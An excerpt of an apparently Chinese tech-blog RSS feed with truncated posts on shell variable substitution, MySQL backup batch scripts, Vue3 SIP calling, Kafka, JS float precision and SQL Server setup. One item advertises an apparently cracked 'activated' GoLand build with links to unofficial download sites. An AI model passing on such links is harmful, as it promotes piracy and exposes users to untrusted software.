      <guid>https://bchobby.github.io/posts/c4adf8cc61753c6a111af1ba961958b2/</guid>
      <description>1.shell变量替换 **&#xA;${变量#匹配规则} 从头开始匹配，最短删除&#xA;${变量##匹配规则} 从头开始匹配，最长删除&#xA;${变量%匹配规则} 从尾开始匹配，最短删除&#xA;${变量%%匹配规则} 从尾开始匹配，最长删除&#xA;${变量/旧字符串/新字符串} 替换字符串，仅替换第一个&#xA;${变量//旧字符串/新字符串} 替换字符串，替换全部&#xA;例1：从前往后删变量内容&#xA;Qh_url=mirrors.tuna.tsinghua.edu.cn&#xA;echo $Qh_url&#xA;echo ${Qh_url#*.} #删除.分隔的第一个字段&#xA;echo ${Qh_url##*.} #仅保留最后一个字段&#xA;例2：从后往前删变量内容&#xA;Qh_url=mirrors.tuna.tsinghua.edu.cn&#xA;echo $Qh_url&#xA;echo ${Qh_url%.*} #删除最后一个字段&#xA;echo ${Qh_url%%.*} #仅保留第一个字段&#xA;例3：变量内容替换&#xA;Qh_url=mirrors.tuna.tsinghua.edu.cn&#xA;echo $Qh_url&#xA;echo ${Qh_url/u/U}&#xA;echo ${Qh_url//u/U}&#xA;脚本题：&#xA;1、把/data下所有.txt文件，改名.bak，并tar包备份到/backup，最后解压还原文件名&#xA;mkdir /data touch /data/file{1..9}.txt vim rename.sh&#xA;#!/bin/bash&#xA;File_txt=$(find /data -type f -iname &#34;*.txt&#34; |xargs &amp;gt; /data/txt.f)&#xA;for a in $(cat /data/txt.f)&#xA;do&#xA;mv $a $a.bak</description>
    </item>
    <item>
      <title>mysql 自动备份(windows 环境）</title>
      <link>https://bchobby.github.io/posts/2a1e53a96108a0b6c18d928352ee0ed0/</link>
      <pubDate>Tue, 18 Jul 2023 12:02:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a1e53a96108a0b6c18d928352ee0ed0/</guid>
      <description>windows环境设置mysql自动备份(测试成功)&#xA;要实现数据库的自动备份就需要一下两步：&#xA;#一、利用MySQL提供的备份命令mysqldump ，结合Windows的任务计划程序&#xA;实现步骤&#xA;编写脚本&#xA;说明：该脚本不会关闭数据库，并且可以按每一天的时间来命名备份文件。&#xA;新建一个数据库备份文件的存放目录，如：C:\mysql_backup&#xA;注意：目录地址中不要带空格！&#xA;新建一个批处理文件，如：mysql_backup_tool.bat，文件内容如下：&#xA;rem ******MySQL backup start****** @echo off ::删除一周前的备份数据 forfiles /p &#34;c:\mysql_backup&#34; /m backup_*.sql -d -7 /c &#34;cmd /c del /f @path&#34; ::设置时间变量 set &#34;Ymd=%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%&#34; ::进入mysql安装目录的bin目录下 cd C:\Program Files\MySQL\MySQL Server 5.7\bin\ ::执行备份操作 mysqldump --opt --single-transaction=TRUE --user=root --password=123456 --host=127.0.0.1 --protocol=tcp --port=3306 --default-character-set=utf8 --single-transaction=TRUE --routines --events &#34;testdba&#34; &amp;gt; c:\mysql_backup\backup_%Ymd%.sql @echo on rem ******MySQL backup end****** forfiles 为删除过期文件的命令，-d -7 删除7天的文件；&#xA;关于时间参数的参考：&#xA;%date:~0,10% //提取年月日信息&#xA;%date:~-3% //提取星期几信息</description>
    </item>
    <item>
      <title>Vue3中，实现IP电话功能，要求在所有页面均可接收到来电，并进行通话——子组件和父组件共用一个组件</title>
      <link>https://bchobby.github.io/posts/2a961e3b038397ccb8144d2bd1ae5e79/</link>
      <pubDate>Tue, 18 Jul 2023 11:25:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a961e3b038397ccb8144d2bd1ae5e79/</guid>
      <description>Vue3中，实现IP电话功能，要求在所有页面均可接收到来电，并进行通话——子组件和父组件共用一个组件&#xA;1. 需求是这样的 在项目中，有一个页面（communication.vue）用来提供IP电话通话功能，该页面显示通讯录，用户可以在通讯录中选择用户进行拨打电话，要求对方只要在登录成功的状态下，不论在首页还是哪个页面均可以接收到来电，并进行通话。&#xA;初始做法 建了一个sip.vue，用来设计音频和视频dom，以及用到的计时器；建了一个sip.ts,用来做与sip.js承接的方法和来电提示框（用的ant-design的notification）；在sip.vue中，引入sip.ts，进行操作；直接在通讯录页面communication.vue中使用sip.vue； 初始结果 由于一开始对需求没有研究透，就开始着手做，所以最后的结果是，只有用户双方均在communication.vue界面时，才能接收到来电。&#xA;结果是，与需求不符，调整！！！&#xA;重新分析需求，规划设计 逐步分析 用户登录后，进行IP电话的链接；这就需要登录成功后就要获取到sip.vue，并调用里面的connect()方法。无论在哪个页面，均能接收到来电提醒；这就需要在所有页面均保持与sip的websocket连接。接收到来电后，进行接通，显示语音视频框；这就需要在所有页面均可以使用sip.vue，展示其中的dom。 规划 根据分析第一步可知，要在登录成功，获取到相关参数后才可以进行连接，所以需要确定所需参数获取结束的时机根据分析第二步可知，需要在最外层组件layout.vue中进行操作，如此不管在哪个routeview下，如何刷新，都可以进行新的连接，保证websocket时时保持连接状态。根据分析第三步可知，需要把sip.vue引到layout.vue中来，如此在最外层，可以保证所有routeview下均可以使用sip.vue的相关内容。 重新实现 基于已经实现的逻辑，不需要大改，只需要进行适当调整即可。&#xA;将sip.vue引入到layout.vue中给SIP组件标记一个名字，ref=‘sipRef’，以便layout的子组件进行调用在layout.vue中，写一个方法，用来获取SIP组件 const sipRef = ref&amp;lt;ElRef&amp;gt;(); const getSipRef = ()=&amp;gt;{ return sipRef.value } 通过provide和inject方法进行组件间通信，在layout.vue中将getSipRef()方法吐出去 import { defineComponent, computed, unref, ref, onMounted, provide } from &#39;vue&#39;; //在script头部引入provide provide(&#39;sipRef&#39;,getSipRef) 在layout.vue中，onMounted期间，进行sip连接 onMounted(()=&amp;gt;{ setTimeout(()=&amp;gt;{ (sipRef.value as any)?.connect() },300) }); // 300ms后执行，是保守做法 在communication.vue中通过inject引入getSipRef()方法 const getSipRef = inject(&#39;sipRef&#39;) //生命sipRef，在挂载时赋值 const sipRef = ref&amp;lt;ElRef&amp;gt;(); 在communication.vue中，onMounted期间，进行sipRef赋值，在该routeview中就可以使用sip.vue中所有的内容了 (async function connect(){ await nextTick(); sipRef.value = getSipRef() })() 结束 通过上面9步调整，在communication.</description>
    </item>
    <item>
      <title>Kafka入门</title>
      <link>https://bchobby.github.io/posts/c84128960c96bcefcd3294dcb1852140/</link>
      <pubDate>Tue, 18 Jul 2023 10:48:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c84128960c96bcefcd3294dcb1852140/</guid>
      <description>1.kafka安装配置 Kafka对于zookeeper是强依赖，保存kafka相关的节点数据，所以安装Kafka之前必须先安装zookeeper&#xA;Docker安装zookeeper 下载镜像：&#xA;docker pull zookeeper:3.4.14 创建容器&#xA;docker run -d --name zookeeper -p 2181:2181 zookeeper:3.4.14 Docker安装kafka 下载镜像：&#xA;docker pull wurstmeister/kafka:2.12-2.3.1 创建容器&#xA;docker run -d --name kafka \ --env KAFKA_ADVERTISED_HOST_NAME=192.168.200.130 \ --env KAFKA_ZOOKEEPER_CONNECT=192.168.200.130:2181 \ --env KAFKA_ADVERTISED_LISTENERS=PLAINTEXT://192.168.200.130:9092 \ --env KAFKA_LISTENERS=PLAINTEXT://0.0.0.0:9092 \ --env KAFKA_HEAP_OPTS=&#34;-Xmx256M -Xms256M&#34; \ --net=host wurstmeister/kafka:2.12-2.3.1 生产者发送消息，多个消费者只能有一个消费者接收到消息生产者发送消息，多个消费者都可以接收到消息 2.代码使用 （1）创建kafka-demo项目，导入依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.kafka&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;kafka-clients&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; （2）生产者发送消息&#xA;package com.heima.kafka.sample; import org.apache.kafka.clients.producer.KafkaProducer; import org.apache.kafka.clients.producer.ProducerConfig; import org.apache.kafka.clients.producer.ProducerRecord; import java.util.Properties; /** * 生产者 */ public class ProducerQuickStart { public static void main(String[] args) { //1.</description>
    </item>
    <item>
      <title>JS中小数点精度丢失的原因及解决方法</title>
      <link>https://bchobby.github.io/posts/5cfe91c29ccb68f3134056e47b04199a/</link>
      <pubDate>Tue, 18 Jul 2023 10:00:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cfe91c29ccb68f3134056e47b04199a/</guid>
      <description>1、为什么会出现计算精度丢失的问题？ JavaScript中存在小数点精度丢失的问题是由于其使用的浮点数表示方式。JavaScript采用的是双精度浮点数表示法，也称为IEEE 754标准，它使用64位来表示一个数字，其中52位用于表示有效数字，而其他位用于表示符号、指数和特殊情况。&#xA;由于使用有限的位数来表示无限的小数，JavaScript无法准确地表示某些小数。其中一个典型的示例是0.1，它在二进制中是一个无限循环的小数。当我们将0.1这样的小数转换为二进制进行存储时，存在近似表示的误差，因此在进行计算时会出现精度丢失的问题。&#xA;例如，执行以下计算：&#xA;0.1 + 0.2 预期的结果应该是0.3，但在JavaScript中实际得到的结果是0.30000000000000004。这是因为0.1和0.2无法以精确的二进制形式表示，导致小数点精度丢失。&#xA;这种精度丢失是浮点数表示法的固有特性，并不仅限于JavaScript，其他编程语言也可能面临类似的问题。因此，在进行精确计算时，特别是涉及到货币、金融等方面的计算，应使用其它精确计算的方法，例如使用整数进行运算或使用专门的精确计算库。&#xA;总而言之，小数点精度丢失的问题是由于JavaScript使用的浮点数表示法的特性所致，需要在开发中注意，并考虑使用其他方法或工具来解决精度问题。&#xA;2、代码示例 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;script&amp;gt; var floatObj = function () { // 判断传入的值-是否为整数 function isInteger(obj) { return Math.floor(obj) === obj } // 将一个浮点数转成整数，返回整数和倍数。如 3.14 &amp;gt;&amp;gt; 314，倍数是 100 // @param floatNum { number } 小数 // @return { object } // { times: 100, num: 314 } // 用于返回整数和倍数 function toInteger(floatNum) { // 声明一个对象用来保存倍数和整数 var ret = { times: 1, num: 0 } // 第一种情况：是整数 if (isInteger(floatNum)) { // 把整数给 ret中的 num ret.</description>
    </item>
    <item>
      <title>GO语言编程：GoLand 2022 (Win&amp;Mac) v2022.3 中文激活版</title>
      <link>https://bchobby.github.io/posts/9d7804632f696d0ad7c822d4104f2191/</link>
      <pubDate>Tue, 18 Jul 2023 09:17:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d7804632f696d0ad7c822d4104f2191/</guid>
      <description>GoLand是一款由JetBrains开发的集成开发环境（IDE），专门用于Go编程语言的开发。它提供了一系列功能和工具，以提高开发人员的效率和代码质量。&#xA;GoLand作为一款专门针对Go语言开发的IDE，具有以下一些特点：&#xA;智能代码完成：GoLand提供智能代码完成功能，可以根据上下文和代码语义提示合适的代码补全选项，提高编码效率。&#xA;强大的静态代码分析：GoLand内置了强大的静态代码分析工具，可以帮助开发人员发现潜在的错误、代码质量问题和性能瓶颈。&#xA;代码导航和重构：GoLand提供了强大的代码导航和重构功能，可以快速定位和浏览代码，进行代码重构和优化。&#xA;内置调试器：GoLand内置了调试器，可以方便地进行代码调试和错误排查，提供断点设置、变量查看等调试功能。&#xA;版本控制集成：GoLand集成了常用的版本控制系统，如Git、SVN等，可以方便地进行代码版本管理和团队协作。&#xA;丰富的插件生态系统：GoLand支持丰富的插件，可以根据个人需求进行扩展和定制，提供更多功能和工具。&#xA;win版：https://soft.macxf.com/soft/2734.html?id=MzE5MTM%3D&#xA;mac版：https://mac.macsc.com/mac/3651.html?id=MzQ1ODE4</description>
    </item>
    <item>
      <title>纯css3实现水波纹从中心向四周扩散动画</title>
      <link>https://bchobby.github.io/posts/a212ea110478be5b4d81fd2592cb5a36/</link>
      <pubDate>Tue, 18 Jul 2023 08:00:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a212ea110478be5b4d81fd2592cb5a36/</guid>
      <description>纯css3实现水波纹从中心向四周扩散动画&#xA;效果可用于pc端或移动端,引导用户点击,间接带来一定的转化率&#xA;示例效果&#xA;示例代码 &amp;lt;template&amp;gt; &amp;lt;div class=&#34;zanbtn-wrap&#34;&amp;gt; &amp;lt;div @click=&#34;handleClick(&#39;https://pay.aikelaidev.cn/paypage/?merchant=35bdYxSx7dCUrVUBqFQjdqqlzhWryCA7lqOn9VhakWHC&#39;)&#34; class=&#34;zanBtn&#34;&amp;gt;赞&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name:&#39;shuibowen&#39;, methods: { handleClick(openUrl) { window.open(openUrl, &#34;_blank&#34;); } } } &amp;lt;/script&amp;gt; &amp;lt;style scoped&amp;gt; @keyframes zanBtnAnimation { 0% { box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0), 0px 0px 0px 1px rgba(255, 37, 37, 0); } 10% { box-shadow: 0px 0px 0px 1px rgba(0, 0, 0, 0), 0px 0px 0px 2px rgba(255, 37, 37, 0.</description>
    </item>
    <item>
      <title>什么是链路跟踪 Skywarking</title>
      <link>https://bchobby.github.io/posts/f2812586fa1a97ff38032c1687fe4ab3/</link>
      <pubDate>Mon, 17 Jul 2023 22:24:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2812586fa1a97ff38032c1687fe4ab3/</guid>
      <description>什么是链路跟踪 Skywarking 链路跟踪（Link Tracing）是一种用于追踪分布式系统中请求路径和性能的技术。SkyWalking 是一个开源的 APM（Application Performance Monitoring）系统，它提供了链路跟踪功能。&#xA;SkyWalking 的链路跟踪通过在分布式系统中的不同组件中嵌入轻量级的代理，捕获和记录请求过程中所经过的每个组件。它通过唯一的跨请求标识符将这些组件连接起来，从而形成完整的请求链路。这样，开发人员可以准确地了解请求在系统中的流动路径，并对每个组件的性能进行分析和优化。&#xA;链路跟踪可以帮助开发人员快速定位系统中的性能问题和故障。通过分析链路跟踪数据，可以获取以下信息：&#xA;请求路径：可以清楚地看到请求从哪里开始，经过了哪些组件，最后到达了哪里。这对于复杂的分布式系统而言尤为重要。耗时分析：可以统计每个组件的处理时间，从而找出性能瓶颈所在。开发人员可以根据这些信息进行优化，提高系统的响应速度。异常定位：如果某个请求在链路中出现错误或异常，可以通过链路跟踪数据快速定位到具体的组件和代码，从而进行故障排查和修复。 SkyWalking 提供了丰富的链路跟踪功能，并支持多种编程语言和框架。它还提供了可视化界面，方便开发人员查看和分析链路跟踪数据。通过使用 SkyWalking，开发人员可以更好地理解和管理分布式系统的性能。</description>
    </item>
    <item>
      <title>Windows10安装SqlServer数据库</title>
      <link>https://bchobby.github.io/posts/9ea0fa4bbca5c02a1b39cd7886756f33/</link>
      <pubDate>Mon, 17 Jul 2023 22:14:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ea0fa4bbca5c02a1b39cd7886756f33/</guid>
      <description>SqlServer数据库安装流程配置 链接：https://pan.baidu.com/s/1Mdjma2fb0DQow97bi6X_Ng&#xA;提取码：0706&#xA;1.首先我们可以进入SqlServer这个SqlServer官网进行下载。&#xA;2.下载好得安装包，双击打开进行安装。&#xA;3.等待其准备完成。&#xA;4.完成之后，点击这个自定义安装。&#xA;5.选择媒体位置，然后进行安装。&#xA;6.等待它下载好这个安卓包。&#xA;7.下载完成之后,就会直接进入到SQL Server的安装中心来。&#xA;8.选择安卓，并点击第一个全新 SQL Server。&#xA;9.这里我们就默认指定的版本，选择下一步。&#xA;10.熟悉的许可条款,你不接受使用不了，使用咱勾选我接受，并点击下一步。&#xA;11.有些中间还会有个产品更新啥的，可以选择略过，然后来到安装规则，等待其检测完成，选择下一步。&#xA;12.这里我们就需要取消勾选这个适用于SQL Server的Azure，不取消勾选，你就要填写这些信息，不然无法进行下一步，所以我们取消勾选，然后下一步。&#xA;13.然后我们需要再实例功能这里勾选自己需要用的功能，如下是我选择的部分功能，可根据个人需要进行勾选，一般选择全选功能，下面是目录，一般不用进行更改，然后完成之后点击下一步。&#xA;14.这里我们也是直接默认实例就行，点击下一步。&#xA;15.这里服务器配置也是默认即可，点击下一步。&#xA;16.在这里我们第一步首先再身份验证模式切换成 混合模式，然后输入密码，为了防止忘记，我的就设置成SqlServer，输入完密码之后，一定要记得添加当前用户，不然后续是无效的，添加完之后选择下一步。&#xA;17.查看一下配置文件路径，无误就开始安装。&#xA;18.等待其安装进度完成。&#xA;19.安装完成之后点击关闭。&#xA;20.到这里我们还需要安卓一个SQL Server Management 。&#xA;21.进入SSMS官网下载，点击免费下载。&#xA;22.下载完成之后，双击打开。&#xA;23.选择其安装的位置，然后点击安装。&#xA;24.然后等待其安装完成，大概需要5-10分钟左右。&#xA;25.完成之后点击关闭。&#xA;26.来到开始界面，找到它打开。&#xA;27.紧接着会弹出一个连接服务器的窗口，此服务器名称就是最开始我们添加到当前用户的服务器，然后点击连接。&#xA;28.连接完成之后就会显示以下这个界面，大家就可以尽情的发挥啦家人们。&#xA;希望能帮助到大家，加油你是最棒的！！！</description>
    </item>
    <item>
      <title>LLaMA(Open and Efficient Foundation Language Models )论文解读(二)</title>
      <link>https://bchobby.github.io/posts/cae7770c094f5287af91747220ea0c25/</link>
      <pubDate>Mon, 17 Jul 2023 21:04:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cae7770c094f5287af91747220ea0c25/</guid>
      <description>此篇博客主题:LLAMA模型数据、训练时长、功耗及碳排放量&#xA;LLaMA: Open and Efficient Foundation Language Models&#xA;paper https://arxiv.org/pdf/2302.13971v1.pdf&#xA;1 训练样本 Overall, our entire training dataset contains roughly 1.4T tokens after tokenization. For most of our training data, each token is used only once during training, with the exception of the Wikipedia&#xA;and Books domains, over which we perform approximately two epochs.&#xA;模型训练样本来源及占比如下图，经数据清理去重后剩下1.4Ttokens数据 （1.4T=1.4e12）数据训练次数见Epochs ，大多数都只训练一轮，但book，wikipeida等数据会训练两轮左右（可能数据价值更高）&#xA;2 训练时间 When training a 65B-parameter model, our code processes around 380 tokens/sec/GPU on 2048 A100 GPU with 80GB of RAM.</description>
    </item>
    <item>
      <title>题解 | #计算公司年销售额#</title>
      <link>https://bchobby.github.io/posts/2078c97cc153e2aa1d5cd3b52100a1ae/</link>
      <pubDate>Mon, 17 Jul 2023 19:37:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2078c97cc153e2aa1d5cd3b52100a1ae/</guid>
      <description>2024年秋招汇总&#xA;Search public account“我是一介布衣”获取详细内容。 7月16日1、宁德时代2、京东方3、华富基金4、厦门亿联5、呦尔哈7月15日1、京东&#xA;题解 | #C++冒泡排序#&#xA;#include &amp;lt;iostream&amp;gt;using namespace std;int main() { int arr[6] = { 0 };&#xA;面试&#xA;如何面试才能成功呢？&#xA;题解 | #计算公司年销售额#&#xA;#include &amp;lt;iostream&amp;gt;using namespace std;int main() { int arr[4][3] = { 题解 | #求解立方根#&#xA;const rl = require(&#34;readline&#34;).createInterface({ input: process.stdin 分布式锁和悲观锁&#xA;分布式锁和悲观锁是两种不同的锁机制，用于解决不同的并发控制问题。分布式锁是一种在分布式系统中实现同步的机制，用于控制多个进程或节点对共享资源的访问。分布式锁通常&#xA;前端秋招项目&#xA;想问问大佬们，想再准备一个比较有亮点的前端项目，有什么推荐吗？真诚发问(目前有点想做网易云音乐网页版，但是自己不太清楚这个项目该怎么去介绍和突出亮点) #秋招#&#xA;专科真的不配学计算机吗&#xA;22届专科，暑假过完大二，现在正在学框架，网上说专科学java就废了肯定找不到工作，学了小半年了，用课余时间，暑假每天都在学，不是很愿意就这样放弃想坚持下去，看&#xA;面试阿里&#xA;1、笔试2、测评3、面试4、offer&#xA;来深圳短短一天，诸事不顺😇&#xA;飞机无法降落，盘旋一小时，台风，暴雨，赶时间偶尔喝一次可乐呕吐（胆汁差点吐出来），洗澡触发sos报警装置。短短的一天太精彩了。 #我的实习求职记录#&#xA;联洲&#xA;请问有联洲7-11座谈会的uu，收到电话了吗？&#xA;关于项目&#xA;想找个项目做，有没有不那么烂大街的后端推荐😢&#xA;如果晾衣杆没掉的话，今天应该是轻松愉快的&#xA;如果晾衣杆没掉的话，今天应该是轻松愉快的一天。早上睡到十一点，吃完薯片吃黄瓜，一根真的太多了，吃到舌头发涩，然后麦片泡牛奶。然后刷了一小时手机，就去上班了。大佬&#xA;麻了&#xA;24届这种是不是该去培训班进修了。。。但是好贵，一万七五个月，还只有最后一个阶段的微服务分布式项目有用&#xA;java&#xA;普通二本还能找到工作吗 #java#&#xA;字节跳动C/C++方向面经&#xA;百度2024提前批一面面经</description>
    </item>
    <item>
      <title>35、js - 面试 - 如何一次渲染10万条数据？</title>
      <link>https://bchobby.github.io/posts/1798f2ed0a077c99a9d63d4c00ff0c3c/</link>
      <pubDate>Sun, 16 Jul 2023 23:22:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1798f2ed0a077c99a9d63d4c00ff0c3c/</guid>
      <description>如何一次渲染10万条数据?&#xA;面试官想了解：面试者对原生js底层的了解、对渲染机制的理解。&#xA;思路：&#xA;第一种方案：分页 + setTimeout()&#xA;第二种方案：分页 + window.requestAnimationFrame()减少重排&#xA;第三种方案：分页 + window.requestAnimationFrame() + document.createDocumentFragment()文档碎片&#xA;（方案一到方案三，渲染所需的时间逐渐较少，方案一大概要2秒，后面2个方案所需的时间就更少）&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div&amp;gt;如何一次渲染10万条数据?&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;面试官想了解：面试者对原生js底层的了解、对渲染机制的理解&amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; // 模拟请求接口数据 const getData = () =&amp;gt; { return new Primise((resolve, reject) =&amp;gt; { }); }; // 第一种方案：分页 + setTimeout() const renderList1 = async () =&amp;gt; { console.time(&#39;开始分页&#39;); const data = await getData(); const total = data.</description>
    </item>
    <item>
      <title>初识STM32、分类与选型</title>
      <link>https://bchobby.github.io/posts/9efd3370ee6e268f95903712d4df76d8/</link>
      <pubDate>Sun, 16 Jul 2023 22:05:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9efd3370ee6e268f95903712d4df76d8/</guid>
      <description>1、STM32分类 内核：Cortex-M0、Cortex-M3、Cortex-M4、Cortex-M7&#xA;每个内核又可分为：主流、高性能、低功耗 STM8与STM32分类 CPU位数内核系列描述32Cortex-M0STM32-F0入门级STM32-L0低功耗Cortex-M3STM32-F1基础型STM32-F2高性能STM32-L1低功耗Cortex-M4STM32-F3混合信号STM32-F4高性能STM32-L4低功耗Cortex-M7STM32-F7高性能8超级版6502STM8S标准系列STM8AF标准系列的汽车应用STM8AL低功耗系列的汽车应用STM8L低功耗 2、STM32命名方法 （具体内容可参考选型手册）&#xA;3、选型手册 详见文件STM32_Selection_Guide</description>
    </item>
    <item>
      <title>Mybatis-Plus条件构造器查找单个数据</title>
      <link>https://bchobby.github.io/posts/d2950c0d541ffade5ad951c9ec17499b/</link>
      <pubDate>Sun, 16 Jul 2023 17:44:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2950c0d541ffade5ad951c9ec17499b/</guid>
      <description>Mybatis-Plus条件构造器查找单个数据 Mybatis-Plus条件构造器查找单个数据，使用selectOne方法时，务必确定数据库里该条件仅有一条数据，否则将会报错，还是谨慎使用该方法。&#xA;不确定的情况下可换成selectList方法，在进行判断。</description>
    </item>
    <item>
      <title>齿轮渐开线方程及绘制</title>
      <link>https://bchobby.github.io/posts/7666bdd7d6a95924280c13f3880bf7d3/</link>
      <pubDate>Sun, 16 Jul 2023 16:28:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7666bdd7d6a95924280c13f3880bf7d3/</guid>
      <description>齿轮轮齿轮廓是一个渐开线方程，当一根绳子绕紧一个圆拉直了端部旋转，则绳子端部画出的曲线就是一个螺旋状的渐开线，方程如下，渐开线齿之间啮合传动能保持恒定传动比，传动平稳等特性。&#xA;QPointF involute(float r, float s) { float x=r*cos(s) + r*s*sin(s); float y=r*sin(s) - r*s*cos(s); return QPointF(x,y); } 下面还是用QPainter将曲线离散为多段线进行可视化。demo是用c4droid编译的apk放到蓝奏上面&#xA;我用蓝奏浏览器分享了[curvetest01], 下载链接:https://wwp.lanzoup.com/iTE2A12mp58j 提取码 : 8mok, 你可以不限速下载哦&#xA;#include &amp;lt;QApplication&amp;gt; #include &amp;lt;QLabel&amp;gt; #include &amp;lt;QWidget&amp;gt; #include &amp;lt;QPainter&amp;gt; #include &amp;lt;QTimer&amp;gt; #include &amp;lt;QMouseEvent&amp;gt; #include&amp;lt;vector&amp;gt; #define _USE_MATH_DEFINES #include &amp;lt;math.h&amp;gt; float deg2rad(float si) { return (si*M_PI)/180.0; } QPointF involute(float r, float s) { float x=r*cos(s) + r*s*sin(s); float y=r*sin(s) - r*s*cos(s); return QPointF(x,y); } void createInvoNodes(float cx,float cy,float r, int n, float ds, std::vector&amp;lt;QPointF&amp;gt;&amp;amp; polyline) { for(int i=0;i&amp;lt;n;i++) { float s=float(i)*ds; QPointF v=involute(r,s); QPointF revv=QPointF(cx+v.</description>
    </item>
    <item>
      <title>VS2022学习使用</title>
      <link>https://bchobby.github.io/posts/8595341d571f396f3e427277578b901f/</link>
      <pubDate>Sun, 16 Jul 2023 16:00:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8595341d571f396f3e427277578b901f/</guid>
      <description>一、测试安装成功 1.创建一个项目 第一步：打开VS，点击创建新项目（N）&#xA;第二步：点击空项目&#xA;第三步：在项目名称中输入自己的项目名称 ；在位置中选择项目的储存位置（建议单独新建一个文件夹用于以后存放项目）最后点击创建即可完成项目创建。&#xA;## 2.创建一个源文件&#xA;鼠标找到源文件之后右键，点击添加再点击新建项可，选中c++文件后对储存位置和源文件名称完成更改，即可点击添加，完成源文件创建。&#xA;3.写代码&#xA;3.写代码 完成项目和源文件的创建，就可以写代码了。&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { printf(&#34;VS2022安装成功！&#34;); return 0; } 4.编译代码+运行 方法一：快捷键 ctrl+f5&#xA;方法二：点击本地Windows调试器&#xA;5.运行结果 运行结果如上图所示，证明VS2022安装完成，也恭喜你自己的第一个c语言项目完成了。&#xA;参考链接</description>
    </item>
    <item>
      <title>“ADB Interface”安装失败的问题解决方案（亲测可行）</title>
      <link>https://bchobby.github.io/posts/ddf6ba70f67867157253e03cadd02a44/</link>
      <pubDate>Sun, 16 Jul 2023 11:21:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddf6ba70f67867157253e03cadd02a44/</guid>
      <description>在学习Android的过程中，想要通过真机对应用程序进行调试，电脑连接USB安装驱动时并不顺利，弹出提示为 ADB Interface驱动未安装，如图：&#xA;Android ADB Interface是一个支持android和PC连接的程序，通过它Windows就可以自动识别并安装驱动软件。&#xA;Android posite安卓套件，ADBandroid调试桥，Interface接口。&#xA;出现这样的问题是因为ADB驱动没有加载，或者驱动程序未更新造成的。&#xA;在网上看了很多教程也没能解决问题，也可能是我没弄懂吧，不管啦！！！&#xA;下面请看我是如何成功安装ADB Interface驱动的吧，其实也没那么难的 首先进入到附属的这个网址下载一个压缩包，我下载的是第一个&#xA;http://adbdriver.com/downloads/&#xA;网站界面如下图所示： 下载完成后，执行以下操作： 进入下一个界面 上面的红框会显示要安装的东西，也就是缺少的那个，由于我是装成功了才写的文章，这里就没有显示内容，按步骤安装成功后打开您的android studio运行，当然您的设备得在 开发者模式 下，进行 USB调试 显示如图即为成功：&#xA;如果您按照我提供的步骤依次进行并显示上图所示的话，那么恭喜您问题解决了，接下来想怎么使用都任凭自个儿发挥了。&#xA;希望对您有所帮助。&#xA;:: 更多内容 :: &amp;gt; 开发过程中踩坑经验记录</description>
    </item>
    <item>
      <title>设计一个表示学生的类：Student，该类的属性包括name(姓名)、age(年龄)、scores(成绩，包含语文、数学和英语三科成绩，每科成绩的类型为整数)</title>
      <link>https://bchobby.github.io/posts/d527409dfa5ef189a5f0c643d416553d/</link>
      <pubDate>Sun, 16 Jul 2023 09:23:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d527409dfa5ef189a5f0c643d416553d/</guid>
      <description>设计一个表示学生的类：Student，该类的属性包括name(姓名)、age(年龄)、scores(成绩，包含语文、数学和英语三科成绩，每科成绩的类型为整数)，此外该类还有三个方法：（8分）&#xA;（1）获取学生姓名的方法：get_name(),返回类型为str。&#xA;（2）获取学生年龄的方法：get_age(),返回类型为int。&#xA;（3）返回三门科目中最高的分数：get_course()，返回类型为int。 class Student(object): # 构造方法 def __init__(self, name, age, scores): self.__name = name # 姓名 self.__age = age # 年龄 self.__scores = scores # 分数 def get_name(self): return self.__name def get_age(self): return self.__age def get_course(self): return max(self.__scores) stu = Student(&#39;小丸子&#39;, 18, [89, 90, 91]) print(&#34;姓名：%s&#34; % (stu.get_name())) print(&#34;年龄：%s&#34; % (stu.get_age())) print(&#34;最高分：%s&#34; % (stu.get_course())) 结果：</description>
    </item>
    <item>
      <title>浅聊 【ThreadLocal】（超级详细）</title>
